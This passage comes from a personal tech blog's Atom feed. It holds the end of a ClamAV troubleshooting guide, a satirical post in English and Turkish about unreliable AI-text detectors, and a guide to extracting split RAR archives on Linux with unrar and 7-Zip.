&lt;p&gt;&lt;strong&gt;Sorun:&lt;/strong&gt; &lt;code&gt;freshclam&lt;/code&gt;, g&amp;uuml;ncellemeyi &lt;code&gt;clamd&lt;/code&gt;'ye bildiremiyor &amp;ccedil;&amp;uuml;nk&amp;uuml; soket dosyas&amp;inodot; (&lt;code&gt;clamd.ctl&lt;/code&gt;) yok veya yanl&amp;inodot;&amp;scedil; yerde.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m:&lt;/strong&gt; &lt;code&gt;clamd.conf&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; a&amp;ccedil;&amp;inodot;n ve &lt;code&gt;LocalSocket /run/clamav/clamd.ctl&lt;/code&gt; sat&amp;inodot;r&amp;inodot;n&amp;inodot;n yorumunu kald&amp;inodot;r&amp;inodot;p aktif hale getirin. &lt;code&gt;clamav-daemon.service&lt;/code&gt;'i yeniden ba&amp;scedil;lat&amp;inodot;n.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hata: &lt;code&gt;No supported database files found&lt;/code&gt; (clamd ba&amp;scedil;larken)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sorun:&lt;/strong&gt; &lt;code&gt;freshclam.conf&lt;/code&gt; ve &lt;code&gt;clamd.conf&lt;/code&gt; dosyalar&amp;inodot;ndaki &lt;code&gt;DatabaseDirectory&lt;/code&gt; ayarlar&amp;inodot; birbiriyle e&amp;scedil;le&amp;scedil;miyor. Biri &lt;code&gt;/var/lib/clamav&lt;/code&gt; derken di&amp;gbreve;eri &lt;code&gt;/usr/share/clamav&lt;/code&gt; diyor olabilir.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m:&lt;/strong&gt; &amp;Idot;ki dosyay&amp;inodot; da kontrol edin ve &lt;code&gt;DatabaseDirectory&lt;/code&gt; yollar&amp;inodot;n&amp;inodot;n &lt;strong&gt;ayn&amp;inodot;&lt;/strong&gt; (genellikle &lt;code&gt;/var/lib/clamav&lt;/code&gt;) oldu&amp;gbreve;undan emin olun.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hata: &lt;code&gt;Can't create temporary directory&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sorun:&lt;/strong&gt; &amp;Idot;zin hatas&amp;inodot;. Loglarda genellikle bir UID/GID numaras&amp;inodot; yazar.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m:&lt;/strong&gt; &lt;code&gt;/var/lib/clamav&lt;/code&gt; dizininin sahipli&amp;gbreve;ini d&amp;uuml;zeltin.
    &lt;code&gt;sudo chown -R clamav:clamav /var/lib/clamav&lt;/code&gt;
&lt;code&gt;sudo chmod 755 /var/lib/clamav&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h3 id="sonuc-artk-gercekten-paranoyaksnz"&gt;Sonu&amp;ccedil;: Art&amp;inodot;k Ger&amp;ccedil;ekten Paranoyaks&amp;inodot;n&amp;inodot;z&lt;a class="headerlink" href="#sonuc-artk-gercekten-paranoyaksnz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bu rehber, kaynaktaki her bir detay&amp;inodot; i&amp;ccedil;eriyor. Art&amp;inodot;k sadece &lt;code&gt;clamscan&lt;/code&gt; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;ran biri de&amp;gbreve;ilsiniz. Arka planda &amp;ccedil;al&amp;inodot;&amp;scedil;an, RAM'de haz&amp;inodot;r bekleyen, &amp;ccedil;oklu &amp;ccedil;ekirdekle tarama yapan, yeni dosyalar&amp;inodot; an&amp;inodot;nda yakalayan, size masa&amp;uuml;st&amp;uuml; bildirimi atan, e-postalar&amp;inodot;n&amp;inodot;z&amp;inodot; filtreleyen ve ekstra veritabanlar&amp;inodot;yla g&amp;uuml;&amp;ccedil;lendirilmi&amp;scedil; bir ClamAV canavar&amp;inodot;n&amp;inodot;z var.&lt;/p&gt;
&lt;p&gt;Yine de unutmay&amp;inodot;n: En iyi antivir&amp;uuml;s, o torrent'in yorumlar&amp;inodot;n&amp;inodot; okuyan sizsiniz.&lt;/p&gt;</content><category term="Linux"/><category term="clamav"/><category term="güvenlik"/><category term="linux"/><category term="on-access"/><category term="clamd"/><category term="freshclam"/><category term="milter"/><category term="sorun giderme"/><category term="tech-sohbetçi"/></entry><entry><title>The Nonsense of AI Detectors: Being a Suspect for Writing Like a Human</title><link href="https://yuceltoluyag.github.io/en/ai-detector-sacmaliklari/" rel="alternate"/><published>2025-11-12T18:45:00+03:00</published><updated>2025-11-12T18:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-12:/en/ai-detector-sacmaliklari/</id><summary type="html">&lt;p&gt;AI detectors are sometimes so confused that you're mistaken for a robot even when you write properly. This is the comedy of the modern age.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Welcome to the comedy of the new age.
Now, if you write too well, &lt;strong&gt;you're guilty.&lt;/strong&gt;
"This can't be human," says the detector.
So, you spend years learning a language, studying grammar rules, only to be labeled a robot.
Great system, really 👏&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="the-logic-of-detectors"&gt;⚙️ The "Logic" of Detectors&lt;a class="headerlink" href="#the-logic-of-detectors" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;These systems are basically tiny math calculators.
They measure sentence lengths, word repetitions, and vocabulary diversity.
In other words, they don't read your emotion, they read your "rhythm."
If a sentence is too smooth, the alarm bells ring immediately:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"This is too well-written, definitely AI!"&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But you know what's funny?
They themselves give &lt;strong&gt;5000 different answers to the same question.&lt;/strong&gt;
And they call this the &lt;em&gt;"determinism problem"&lt;/em&gt; 😄
So they've even found a fancy name for their own indecisiveness.
In short: "We don't know what we're saying either, but let's make it sound cool."&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="the-real-problem-assuming-humans-are-flawed"&gt;🧠 The Real Problem: Assuming Humans are Flawed&lt;a class="headerlink" href="#the-real-problem-assuming-humans-are-flawed" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;These tools have coded humans as beings who speak in disorganized, flawed, and incomplete sentences.
What if you're thoughtful, fluent, or logical?
Sorry, you're an AI now.
&lt;em&gt;(Writing well might be the new type of crime.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;At some point, this nonsense reaches such a level that...
I wouldn't be surprised if "improper writing courses" start popping up soon.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"Professor, should we misplace the comma today?"
"Yes, yes, otherwise it'll come out as 100% AI."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr/&gt;
&lt;h2 id="an-attempted-dialogue-with-a-detector"&gt;💬 An Attempted Dialogue with a Detector&lt;a class="headerlink" href="#an-attempted-dialogue-with-a-detector" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;mdash; Hey detector, I wrote this text.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Impossible. You wrote it too fluently.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;mdash; Should I misspell a word or two?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Oh, okay. You're human now.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, the system recognizes a human "when they make a mistake."
Fantastic. Civilization just hit CTRL+Z.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="theres-no-such-thing-as-a-100-humanity-guarantee"&gt;💸 There's No Such Thing as a "100% Humanity Guarantee"&lt;a class="headerlink" href="#theres-no-such-thing-as-a-100-humanity-guarantee" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Some sites claim a "100% human guarantee."
But when you test the same text on another site... guess what?
Even they can't pass their own AI test 😅&lt;/p&gt;
&lt;p&gt;And they sell a &lt;strong&gt;premium package&lt;/strong&gt; for this!
Come on, folks, don't kid yourselves.
You can't measure humanity with an AI detector&amp;mdash;at best, it's a marketing gimmick.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="conclusion-theres-a-brain-but-no-logic"&gt;🧩 Conclusion: There's a Brain, But No Logic&lt;a class="headerlink" href="#conclusion-theres-a-brain-but-no-logic" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;AI detectors don't actually understand anyone.
They just memorize patterns.
And with every proper sentence, they panic and shout "robot!"&lt;/p&gt;
&lt;p&gt;But the irony is this:
The same system is inconsistent within itself, giving a different result each time.
(&lt;em&gt;And they call this the "determinism problem"&amp;mdash;sounds cool, right? 🤷&amp;zwj;&amp;male;️&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The result?&lt;/strong&gt;
Write like a human, but mix it up a bit, pause, throw in a "whatever" here and there.
Otherwise, a piece of software as unstable as itself will accuse you of being too logical.&lt;/p&gt;
&lt;p&gt;&lt;img alt="AI Detectors and Human Writing" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/ai-detector-sacmaliklari-xl.webp" srcset="/images/ai-detector-sacmaliklari-sm.webp 300w, /images/ai-detector-sacmaliklari-md.webp 500w, /images/ai-detector-sacmaliklari-lg.webp 800w, /images/ai-detector-sacmaliklari-xl.webp 1200w"/&gt;&lt;/p&gt;</content><category term="Yazılım Geliştirme"/><category term="ai"/><category term="detector"/><category term="insanlık"/><category term="yapayzeka"/><category term="mizah"/></entry><entry><title>AI Detector Saçmalıkları: İnsan Gibi Yazınca Şüpheli Olmak</title><link href="https://yuceltoluyag.github.io/ai-detector-sacmaliklari/" rel="alternate"/><published>2025-11-12T18:45:00+03:00</published><updated>2025-11-12T18:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-12:/ai-detector-sacmaliklari/</id><summary type="html">&lt;p&gt;AI dedektörleri bazen o kadar şaşkın ki, düzgün yazınca bile robot sanılıyorsun. İşte modern çağın komedisi.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Yeni &amp;ccedil;a&amp;gbreve;&amp;inodot;n komedisine ho&amp;scedil; geldin.
Art&amp;inodot;k &amp;ccedil;ok d&amp;uuml;zg&amp;uuml;n yazarsan &lt;strong&gt;su&amp;ccedil;lusun.&lt;/strong&gt;
&amp;ldquo;Bu insan olamaz.&amp;rdquo; diyor dedekt&amp;ouml;r.
Yani y&amp;inodot;llarca dil &amp;ouml;&amp;gbreve;ren, yaz&amp;inodot;m kurallar&amp;inodot;n&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;, sonra robot ilan edil.
Harika sistem, ger&amp;ccedil;ekten 👏&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="dedektorlerin-mantg"&gt;⚙️ Dedekt&amp;ouml;rlerin Mant&amp;inodot;&amp;gbreve;&amp;inodot;(!)&lt;a class="headerlink" href="#dedektorlerin-mantg" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu sistemler asl&amp;inodot;nda minik matematik hesap makineleri.
C&amp;uuml;mle uzunluklar&amp;inodot;n&amp;inodot;, kelime tekrarlar&amp;inodot;n&amp;inodot;, kelime &amp;ccedil;e&amp;scedil;itlili&amp;gbreve;ini &amp;ouml;l&amp;ccedil;&amp;uuml;yorlar.
Yani duygunu de&amp;gbreve;il, &amp;ldquo;ritmini&amp;rdquo; okuyorlar.
Bir c&amp;uuml;mle fazla p&amp;uuml;r&amp;uuml;zs&amp;uuml;zse, hemen alarm &amp;ccedil;al&amp;inodot;yor:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Bu fazla iyi yaz&amp;inodot;lm&amp;inodot;&amp;scedil;, kesin AI!&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ama bak &amp;scedil;imdi komik olan ne biliyor musun?
Kendileri &lt;strong&gt;ayn&amp;inodot; soruya 5000 farkl&amp;inodot; cevap veriyor.&lt;/strong&gt;
Ve buna &lt;em&gt;&amp;ldquo;determinism problemi&amp;rdquo;&lt;/em&gt; diyorlar 😄
Yani kendi karars&amp;inodot;zl&amp;inodot;klar&amp;inodot;na bile s&amp;uuml;sl&amp;uuml; bir isim bulmu&amp;scedil;lar.
K&amp;inodot;saca: &amp;ldquo;Biz de ne dedi&amp;gbreve;imizi bilmiyoruz ama haval&amp;inodot; dursun.&amp;rdquo;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="gercek-sorun-insan-kusurlu-sanmak"&gt;🧠 Ger&amp;ccedil;ek Sorun: &amp;Idot;nsan&amp;inodot; Kusurlu Sanmak&lt;a class="headerlink" href="#gercek-sorun-insan-kusurlu-sanmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bu ara&amp;ccedil;lar, insan&amp;inodot; d&amp;uuml;zensiz, hatal&amp;inodot; ve yar&amp;inodot;m c&amp;uuml;mlelerle konu&amp;scedil;an bir varl&amp;inodot;k olarak kodlam&amp;inodot;&amp;scedil;.
E&amp;gbreve;er d&amp;uuml;&amp;scedil;&amp;uuml;nceli, ak&amp;inodot;c&amp;inodot; ya da mant&amp;inodot;kl&amp;inodot;ysan?
&amp;Uuml;zg&amp;uuml;n&amp;uuml;m, art&amp;inodot;k sen bir yapay zek&amp;acirc;s&amp;inodot;n.
&lt;em&gt;(&amp;Idot;yi yazmak, yeni su&amp;ccedil; t&amp;uuml;r&amp;uuml; olabilir.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Bir noktadan sonra bu sa&amp;ccedil;mal&amp;inodot;k &amp;ouml;yle boyutlara ula&amp;scedil;&amp;inodot;yor ki&amp;hellip;
Yak&amp;inodot;nda &amp;ldquo;yanl&amp;inodot;&amp;scedil; yazma kurslar&amp;inodot;&amp;rdquo; a&amp;ccedil;&amp;inodot;l&amp;inodot;rsa &amp;scedil;a&amp;scedil;&amp;inodot;rmam.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Hocam, bug&amp;uuml;n -de&amp;rsquo;yi yanl&amp;inodot;&amp;scedil; m&amp;inodot; ayr&amp;inodot; yaz&amp;inodot;yoruz?&amp;rdquo;
&amp;ldquo;Evet evet, yoksa %100 AI &amp;ccedil;&amp;inodot;kar.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr/&gt;
&lt;h2 id="dedektorle-diyalog-denemesi"&gt;💬 Dedekt&amp;ouml;rle Diyalog Denemesi&lt;a class="headerlink" href="#dedektorle-diyalog-denemesi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;mdash; Selam dedekt&amp;ouml;r, bu yaz&amp;inodot;y&amp;inodot; ben yazd&amp;inodot;m.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Olamaz. &amp;Ccedil;ok ak&amp;inodot;c&amp;inodot; yazm&amp;inodot;&amp;scedil;s&amp;inodot;n.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;mdash; &amp;Idot;stersen bir iki kelimeyi yanl&amp;inodot;&amp;scedil; yazay&amp;inodot;m?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Oh, tamam. Art&amp;inodot;k insans&amp;inodot;n.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Yani sistem, insan&amp;inodot; &amp;ldquo;yanl&amp;inodot;&amp;scedil; yap&amp;inodot;nca&amp;rdquo; tan&amp;inodot;yor.
Harika. Medeniyet resmen CTRL+Z &amp;ccedil;ekti.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="100-humanity-garantisi-diye-bir-sey-yok"&gt;💸 &amp;ldquo;%100 Humanity Garantisi&amp;rdquo; Diye Bir &amp;Scedil;ey Yok&lt;a class="headerlink" href="#100-humanity-garantisi-diye-bir-sey-yok" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Baz&amp;inodot; siteler &amp;ldquo;%100 human guarantee&amp;rdquo; diye iddia ediyor.
Ama ayn&amp;inodot; yaz&amp;inodot;y&amp;inodot; ba&amp;scedil;ka bir sitede test etti&amp;gbreve;inde&amp;hellip; tahmin et?
Kendileri bile AI testinden ge&amp;ccedil;emiyor 😅&lt;/p&gt;
&lt;p&gt;Bir de bunun i&amp;ccedil;in &lt;strong&gt;premium paket&lt;/strong&gt; sat&amp;inodot;yorlar!
Hadi ama dostum, kendinizi kand&amp;inodot;rmay&amp;inodot;n.
AI dedekt&amp;ouml;r&amp;uuml;yle insanl&amp;inodot;k &amp;ouml;l&amp;ccedil;&amp;uuml;lmez &amp;mdash; olsa olsa pazarlama numaras&amp;inodot; olur.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="sonuc-akl-var-mantk-yok"&gt;🧩 Sonu&amp;ccedil;: Ak&amp;inodot;l Var, Mant&amp;inodot;k Yok&lt;a class="headerlink" href="#sonuc-akl-var-mantk-yok" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;AI dedekt&amp;ouml;rleri asl&amp;inodot;nda kimseyi anlam&amp;inodot;yor.
Sadece kal&amp;inodot;plar&amp;inodot; ezberliyor.
Ve her d&amp;uuml;zg&amp;uuml;n c&amp;uuml;mlede panikleyip &amp;ldquo;robot!&amp;rdquo; diye ba&amp;gbreve;&amp;inodot;r&amp;inodot;yor.&lt;/p&gt;
&lt;p&gt;Ama ironik olan &amp;scedil;u:
Ayn&amp;inodot; sistem kendi i&amp;ccedil;inde tutars&amp;inodot;z, her defas&amp;inodot;nda ba&amp;scedil;ka sonu&amp;ccedil; veriyor.
(&lt;em&gt;&amp;Idot;&amp;scedil;te buna da &amp;ldquo;determinism problemi&amp;rdquo; diyorlar &amp;mdash; haval&amp;inodot; duruyor ya 🤷&amp;zwj;&amp;male;️&lt;/em&gt;)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sonu&amp;ccedil;?&lt;/strong&gt;
&amp;Idot;nsan gibi yaz, ama biraz kar&amp;inodot;&amp;scedil;t&amp;inodot;r, biraz durakla, araya &amp;ldquo;neyse&amp;rdquo; falan s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;r.
Yoksa seni kendi kadar dengesiz bir yaz&amp;inodot;l&amp;inodot;m, fazla mant&amp;inodot;kl&amp;inodot; oldu&amp;gbreve;un i&amp;ccedil;in su&amp;ccedil;layacak.&lt;/p&gt;
&lt;p&gt;&lt;img alt="AI Dedekt&amp;ouml;rleri ve &amp;Idot;nsan Yaz&amp;inodot;s&amp;inodot;" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/ai-detector-sacmaliklari-xl.webp" srcset="/images/ai-detector-sacmaliklari-sm.webp 300w, /images/ai-detector-sacmaliklari-md.webp 500w, /images/ai-detector-sacmaliklari-lg.webp 800w, /images/ai-detector-sacmaliklari-xl.webp 1200w"/&gt;&lt;/p&gt;</content><category term="Yazılım Geliştirme"/><category term="ai"/><category term="detector"/><category term="insanlık"/><category term="yapayzeka"/><category term="mizah"/></entry><entry><title>The Easiest Way to Extract Split RAR Files</title><link href="https://yuceltoluyag.github.io/en/bolunmus-rar-dosyalarini-cikarmanin-en-kolay-yolu/" rel="alternate"/><published>2025-11-12T16:00:00+03:00</published><updated>2025-11-12T16:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-12:/en/bolunmus-rar-dosyalarini-cikarmanin-en-kolay-yolu/</id><summary type="html">&lt;p&gt;The modern way to quickly and safely extract split RAR archives like .part1.rar, .part2.rar on Linux systems using unrar and 7-Zip tools.&lt;/p&gt;</summary><content type="html">&lt;h2 id="introduction"&gt;Introduction&lt;a class="headerlink" href="#introduction" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A common scenario in a Linux environment: an archive is split into parts like "file.part1.rar", "file.part2.rar", and so on. In this situation, choosing the right tool and ensuring all parts are in the same directory can significantly simplify the process. Below, I explain how to extract such &lt;strong&gt;split RAR files&lt;/strong&gt; using methods that are current as of 2025.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="features-of-the-rar-format"&gt;Features of the RAR Format&lt;a class="headerlink" href="#features-of-the-rar-format" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The RAR archive format was developed by Eugene Roshal and is a proprietary format belonging to RARLab.
Due to its proprietary license, it is often provided as a "support package" in many Linux distributions; it requires extra steps compared to open-source formats like &lt;code&gt;.zip&lt;/code&gt;, &lt;code&gt;.tar.gz&lt;/code&gt;, or &lt;code&gt;.tar.zst&lt;/code&gt;.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="1-extracting-with-unrar"&gt;1️⃣ Extracting with &lt;code&gt;unrar&lt;/code&gt;&lt;a class="headerlink" href="#1-extracting-with-unrar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The official command-line tool &lt;code&gt;unrar&lt;/code&gt; can directly handle split RAR archives. As of 2025, it is actively maintained in many distributions.&lt;/p&gt;
&lt;h3 id="installation"&gt;Installation&lt;a class="headerlink" href="#installation" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update
sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;unrar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fedora/RHEL&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dnf&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;unrar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;unrar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="usage"&gt;Usage&lt;a class="headerlink" href="#usage" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Ensure all part files are in the same folder and extract the first part as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;unrar&lt;span class="w"&gt; &lt;/span&gt;x&lt;span class="w"&gt; &lt;/span&gt;file.part1.rar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The command will automatically detect and process all subsequent parts that follow &lt;code&gt;part1&lt;/code&gt;.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;If the archive contains non-English characters and you see garbled output, try running the command with the &lt;code&gt;LC_ALL=C&lt;/code&gt; locale.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="2-alternative-method-with-7-zip-or-7zz_1"&gt;2️⃣ Alternative Method with &lt;code&gt;7-Zip&lt;/code&gt; or &lt;code&gt;7zz&lt;/code&gt;&lt;a class="headerlink" href="#2-alternative-method-with-7-zip-or-7zz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The Linux versions of 7-Zip (like &lt;code&gt;7zz&lt;/code&gt;, &lt;code&gt;p7zip-full&lt;/code&gt;) support split RAR archives. Compatibility has been particularly improved for the RAR5 format.&lt;/p&gt;
&lt;h3 id="installation_1"&gt;Installation&lt;a class="headerlink" href="#installation_1" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;p7zip-full
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;For Arch Linux users:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;p7zip
&lt;span class="c1"&gt;# or from AUR:&lt;/span&gt;
yay&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;p7zip-full-bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="usage_1"&gt;Usage&lt;a class="headerlink" href="#usage_1" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;7zz&lt;span class="w"&gt; &lt;/span&gt;x&lt;span class="w"&gt; &lt;/span&gt;file.part1.rar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This command will also detect the parts and complete the extraction, provided the appropriate package is installed.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;In some distributions, the &lt;code&gt;p7zip-full&lt;/code&gt; package may lack RAR support &amp;ndash; in this case, &lt;code&gt;unrar&lt;/code&gt; should be preferred.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="3-extracting-with-a-graphical-interface_1"&gt;3️⃣ Extracting with a Graphical Interface&lt;a class="headerlink" href="#3-extracting-with-a-graphical-interface" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you are a desktop user, extracting via your archive manager's right-click context menu might be sufficient. For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;File Roller (GNOME)&lt;/li&gt;
&lt;li&gt;Ark (KDE)&lt;/li&gt;
&lt;li&gt;Xarchiver (XFCE)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These tools often detect the other parts when you right-click on the &lt;code&gt;.part1.rar&lt;/code&gt; file and select "Extract Here".&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;If one of the parts is missing or in a different directory, the extraction will fail or result in incomplete data.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="considering-alternative-formats"&gt;Considering Alternative Formats&lt;a class="headerlink" href="#considering-alternative-formats" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you are creating your own archives, it may be beneficial to prefer open formats like &lt;code&gt;.zip&lt;/code&gt;, &lt;code&gt;.tar.gz&lt;/code&gt;, &lt;code&gt;.tar.xz&lt;/code&gt;, or &lt;code&gt;.tar.zst&lt;/code&gt;. These do not have licensing restrictions and are directly supported on all Linux distributions.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;a class="headerlink" href="#conclusion" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Split RAR files are no longer an obstacle on Linux. You can extract them with a few commands using tools like &lt;code&gt;unrar&lt;/code&gt; or &lt;code&gt;7zz&lt;/code&gt;. When creating archives, preferring open compression formats increases both portability and seamless compatibility.&lt;/p&gt;
&lt;p&gt;&lt;img alt="The Easiest Way to Extract Split RAR Files" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/bolunmus-rar-dosyalarini-cikarma-xl.webp" srcset="/images/bolunmus-rar-dosyalarini-cikarma-sm.webp 300w, /images/bolunmus-rar-dosyalarini-cikarma-md.webp 500w, /images/bolunmus-rar-dosyalarini-cikarma-lg.webp 800w, /images/bolunmus-rar-dosyalarini-cikarma-xl.webp 1200w"/&gt;&lt;/p&gt;</content><category term="Linux"/><category term="rar"/><category term="linux"/><category term="unrar"/><category term="7zip"/><category term="arşiv"/></entry><entry><title>Bölünmüş RAR Dosyalarını Çıkarmanın En Kolay Yolu</title><link href="https://yuceltoluyag.github.io/bolunmus-rar-dosyalarini-cikarmanin-en-kolay-yolu/" 